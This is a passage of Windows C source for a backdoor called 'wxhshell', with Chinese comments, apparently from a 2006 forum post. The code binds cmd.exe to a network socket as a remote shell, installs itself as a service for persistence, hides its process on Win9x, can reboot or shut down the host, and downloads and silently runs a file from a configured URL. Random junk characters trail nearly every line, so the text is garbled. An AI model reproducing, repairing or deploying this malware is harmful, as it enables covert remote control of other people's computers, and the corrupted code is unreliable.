  case '?': { dLsn\m>  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); xCzebG["  
    break; _ 7PMmW@  
  } >StO.Q99  
  // 安装 5G0 $  
  case 'i': { YI-O{U  
    if(Install()) b 6t}{_7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .,~(%#Wl$  
    else $wYtyN[  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); IC{eE  
    break; jEc|]E  
    } MRr</o  
  // 卸载 bsxTqJ  
  case 'r': { 3ZTE<zRQ  
    if(Uninstall()) T&T/C@z'R  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); FVv8--  
    else kVI#(uO  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); OI} &m^IOo  
    break; >vrxP8_  
    } +6smsL~<#v  
  // 显示 wxhshell 所在路径 I9o6k?$K  
  case 'p': { o ]Jv;Iy@?  
    char svExeFile[MAX_PATH]; ?Y:x[pOe  
    strcpy(svExeFile,"\n\r"); vN4Qdpdb  
      strcat(svExeFile,ExeFile); PqNFyQkl  
        send(wsh,svExeFile,strlen(svExeFile),0); (F7_S*  
    break; Ae^X35  
    } 3:"]Rn([P  
  // 重启 V&soN:HS  
  case 'b': { <";,GaZQ  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); =k3!RW'  
    if(Boot(REBOOT)) Ub0/r$]DK  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _$<Gyz*  
    else { 5`~mmAUk;`  
    closesocket(wsh); ERUt'1F?]  
    ExitThread(0); . .QB~  
    } s6 ( z  
    break; C\_zdADUb%  
    } UH@a s  
  // 关机 U,/6;}  
  case 'd': { IUGz =%[  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 6*9}4`  
    if(Boot(SHUTDOWN)) )PkNWj6%y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {qKxz9.y  
    else {  "SN4*  
    closesocket(wsh);  O#nR>1h  
    ExitThread(0); R cY>k  
    } D+V7hpH-  
    break; {P8[X@Lu  
    } QYXx:nIrg  
  // 获取shell 8pM>Co!  
  case 's': { j^`X~gE  
    CmdShell(wsh); <0|9Tn2O  
    closesocket(wsh); D/(L  
    ExitThread(0); k.h`Cji@  
    break; Nd:R" p*8  
  } "wH)mQnd  
  // 退出 x+? 9C  
  case 'x': { 50j OA#l[  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); #Z=tJ  
    CloseIt(wsh); #gQF'  
    break; rh2LGuo4m  
    } k'`m97B  
  // 离开 @e~]t}fH  
  case 'q': { OwzJO  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); di9!lS$  
    closesocket(wsh); z;]CmR@Ki  
    WSACleanup(); 0?7XtC P<  
    exit(1); PZ:u_*Vu`  
    break; I^*'.z!4Q  
        } 1`f_P$&Z_J  
  } @ \.;b9  
  } "SWMk!  
-9P2`XQ^  
  // 提示信息 ,Y_{L|:w  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &zL#hBE  
} Zr$d20M2A;  
  } '/0#lF  
W:&R~R  
  return; k!jNOqbb  
} J.*XXM- V  
%/"Oxi^G  
// shell模块句柄 Gtv,Izt  
int CmdShell(SOCKET sock) RR1A65B  
{ J}spiVM  
STARTUPINFO si; Qx|H1_6  
ZeroMemory(&si,sizeof(si)); `znB7VQ0  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; {mYP<NBT  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; oqkVYlE  
PROCESS_INFORMATION ProcessInfo; a<XCNTaVT  
char cmdline[]="cmd"; =<f-ob8,  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); jdut4 nFc  
  return 0; `Y?t@dd  
} hVoNw6fE  
<>SdVif]  
// 自身启动模式 wyc D>hc  
int StartFromService(void) )\/ =M*  
{ yT OyDm-  
typedef struct XR# ;{p+b  
{ 6@;ha=[+  
  DWORD ExitStatus; TDK@)mP  
  DWORD PebBaseAddress; wWW~_zP0  
  DWORD AffinityMask; Q.-*7h8  
  DWORD BasePriority; *ck}|RhR  
  ULONG UniqueProcessId; YZ#V#[j'^  
  ULONG InheritedFromUniqueProcessId; D  _X8-  
}   PROCESS_BASIC_INFORMATION; &!.HuRiuC  
iMP  
PROCNTQSIP NtQueryInformationProcess; -=$2p0" R  
dLh6:Gh8_I  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; |fsm8t<~8  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; -*VKlZ8-  
-H(vL=  
  HANDLE             hProcess; H(u+#PIIw  
  PROCESS_BASIC_INFORMATION pbi; d<p2/aA  
; ~ 4k7Uz  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); jjOgG-Q  
  if(NULL == hInst ) return 0; jdRq6U^  
;Kxbg>U  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); OTvROJP  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); $j` $[tX6l  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ( `' 8Ww  
6/ g%\ka  
  if (!NtQueryInformationProcess) return 0; ZwI 1* f  
jrJR1npB  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); >G)qns9  
  if(!hProcess) return 0; dT@UK^\  
4z4v\IpB  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; o.:p_(|hI  
~GB=Nz  
  CloseHandle(hProcess); ^i%A7pg  
{g F0Xm%  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); N$aZ== $5  
if(hProcess==NULL) return 0; uF(k[[qaiN  
/9ZcM]X B  
HMODULE hMod; B:oF;~d/,  
char procName[255]; I@7/jUO  
unsigned long cbNeeded; r((Tavn  
_j#SpL'P  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); wvc>0?t'  
'8Wv.X0`  
  CloseHandle(hProcess); _."E%|5  
,TC~~EWq  
if(strstr(procName,"services")) return 1; // 以服务启动 rnhFqNT:  
Bt~s*{3$8  
  return 0; // 注册表启动 E{^^^"z P  
} +H'\3^C-  
^[# & ^[-V  
// 主模块 WO</Q6+  
int StartWxhshell(LPSTR lpCmdLine) GG-[`!>.pw  
{ O&?.&h  
  SOCKET wsl; =V$j6  
BOOL val=TRUE; M-9gD[m  
  int port=0; 6v z1*\:H~  
  struct sockaddr_in door; P;91~``b-  
1$LIpx  
  if(wscfg.ws_autoins) Install(); <! x+e E`  
~t/JCxa  
port=atoi(lpCmdLine); Hhv$4;&X  
q^Tis>*u6  
if(port<=0) port=wscfg.ws_port; -WR}m6yMr  
1M5 -pZ[D  
  WSADATA data; Y(i?M~3\t  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; r'aY2n^O  
w+UV"\!G)Q  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   h8}8Lp(/'  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); g'lT  
  door.sin_family = AF_INET; 8OAg~mQ15(  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); H~9=&p[Q  
  door.sin_port = htons(port); ?b$3ob"  
=Sxol>?t  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { #s"B-sWE  
closesocket(wsl); #}o<v|;  
return 1; womq^h6  
} R_e)mkE  
g()m/KS<  
  if(listen(wsl,2) == INVALID_SOCKET) { xPQL?.  
closesocket(wsl); jXIEp01  
return 1; p5*lEz|$  
} %?tq;~|]Q  
  Wxhshell(wsl); Z;<ep@gy~  
  WSACleanup(); k/`i6%F#m  
<MZi<Z`  
return 0; 'U)8rR  
:m`/Q_y"  
} gue(C(~.k_  
h5onRa *7  
// 以NT服务方式启动 1D1b"o  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) LM1b I4  
{ b=LF%P  
DWORD   status = 0; rx:lKoOnB  
  DWORD   specificError = 0xfffffff; &'O?es|Lb  
3%IWGmye4  
  serviceStatus.dwServiceType     = SERVICE_WIN32; `"Dy%&U  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; S}gD,7@  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ,L%p  
  serviceStatus.dwWin32ExitCode     = 0; 878tI3-  
  serviceStatus.dwServiceSpecificExitCode = 0; |R~;&x:  
  serviceStatus.dwCheckPoint       = 0; eTZ`q_LfI1  
  serviceStatus.dwWaitHint       = 0; Zr"dOj$Jf  
s/ S+ ec3  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); D8/sz`N7Q  
  if (hServiceStatusHandle==0) return; 4A~)b"j5  
T46{*(  
status = GetLastError(); f[@#7,2~M  
  if (status!=NO_ERROR) :&$Xe1)i]  
{ "jGe^+9uT  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ? ).(fP  
    serviceStatus.dwCheckPoint       = 0; MZ^Ch   
    serviceStatus.dwWaitHint       = 0; E& ]_U$  
    serviceStatus.dwWin32ExitCode     = status; ^ wQcB  
    serviceStatus.dwServiceSpecificExitCode = specificError; Q-Y@)Mf~?0  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); A_Gp&acs$  
    return; =g2\CIlVU6  
  } )dg UmN  
0*{p Oe/u  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ):E'`ZP!F  
  serviceStatus.dwCheckPoint       = 0; $K=z  
  serviceStatus.dwWaitHint       = 0; S ljZ~x,!  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); mh8nlB  
} r %xB8e9  
j?J=w=.Nx  
// 处理NT服务事件,比如:启动、停止 M=Is9)y  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ddMM74  
{ p;ZDpR  
switch(fdwControl) f[M"EMy  
{ Ap,q `S  
case SERVICE_CONTROL_STOP: K!b>TICa:  
  serviceStatus.dwWin32ExitCode = 0; ]}_,U!`8  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; "0Y&~q[=  
  serviceStatus.dwCheckPoint   = 0; PDZ)*$EE  
  serviceStatus.dwWaitHint     = 0; <Am^z~[  
  { -AeHY'T  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); qq>44k\|)  
  } {q2<KRU2+#  
  return; XAlD ww  
case SERVICE_CONTROL_PAUSE: ndt8=6p  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; e)og4  
  break; % NwoU%q  
case SERVICE_CONTROL_CONTINUE: Ug `   
  serviceStatus.dwCurrentState = SERVICE_RUNNING; %J3lK]bv(  
  break; A3!2"}L  
case SERVICE_CONTROL_INTERROGATE: $YR{f[+L w  
  break; Ua!Odju*w  
}; F13%)G(  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); U#l.E 1Z  
} N>T=L0`  
&:,fb]p  
// 标准应用程序主函数 dW6Q)Rfi  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) EkV!hqs*  
{ l?N`V2SuR  
o}W7.7^2  
// 获取操作系统版本 L/%xbm~  
OsIsNt=GetOsVer(); ;WPI+`-  
GetModuleFileName(NULL,ExeFile,MAX_PATH); /3;=xZq  
'jwTGT5x  
  // 从命令行安装 XAGiu;<,=  
  if(strpbrk(lpCmdLine,"iI")) Install(); $o: :PDQ?  
w7[0  
  // 下载执行文件 zkvH=wL  
if(wscfg.ws_downexe) { gGD]t;<u  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) !-@SS>  
  WinExec(wscfg.ws_filenam,SW_HIDE); wf^cyCR0  
} _4De!q0(  
lHRK'? Q  
if(!OsIsNt) { ^&e;8d|f{  
// 如果时win9x,隐藏进程并且设置为注册表启动 QTJrJD  
HideProc(); ol1AD: Ho  
StartWxhshell(lpCmdLine); ]dQZ8yVK  
} RH1U_gp4 ]  
else (jt*u (C&Y  
  if(StartFromService()) O/'f$Zj36  
  // 以服务方式启动 Zr~"\llk  
  StartServiceCtrlDispatcher(DispatchTable); | eK,Td%  
else ~MD><w>  
  // 普通方式启动 lp 3(&p<:  
  StartWxhshell(lpCmdLine); @)8NI[=6O  
ROcY'-  
return 0; VdYOm  
}
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只看该作者 1 发表于: 2006-10-10
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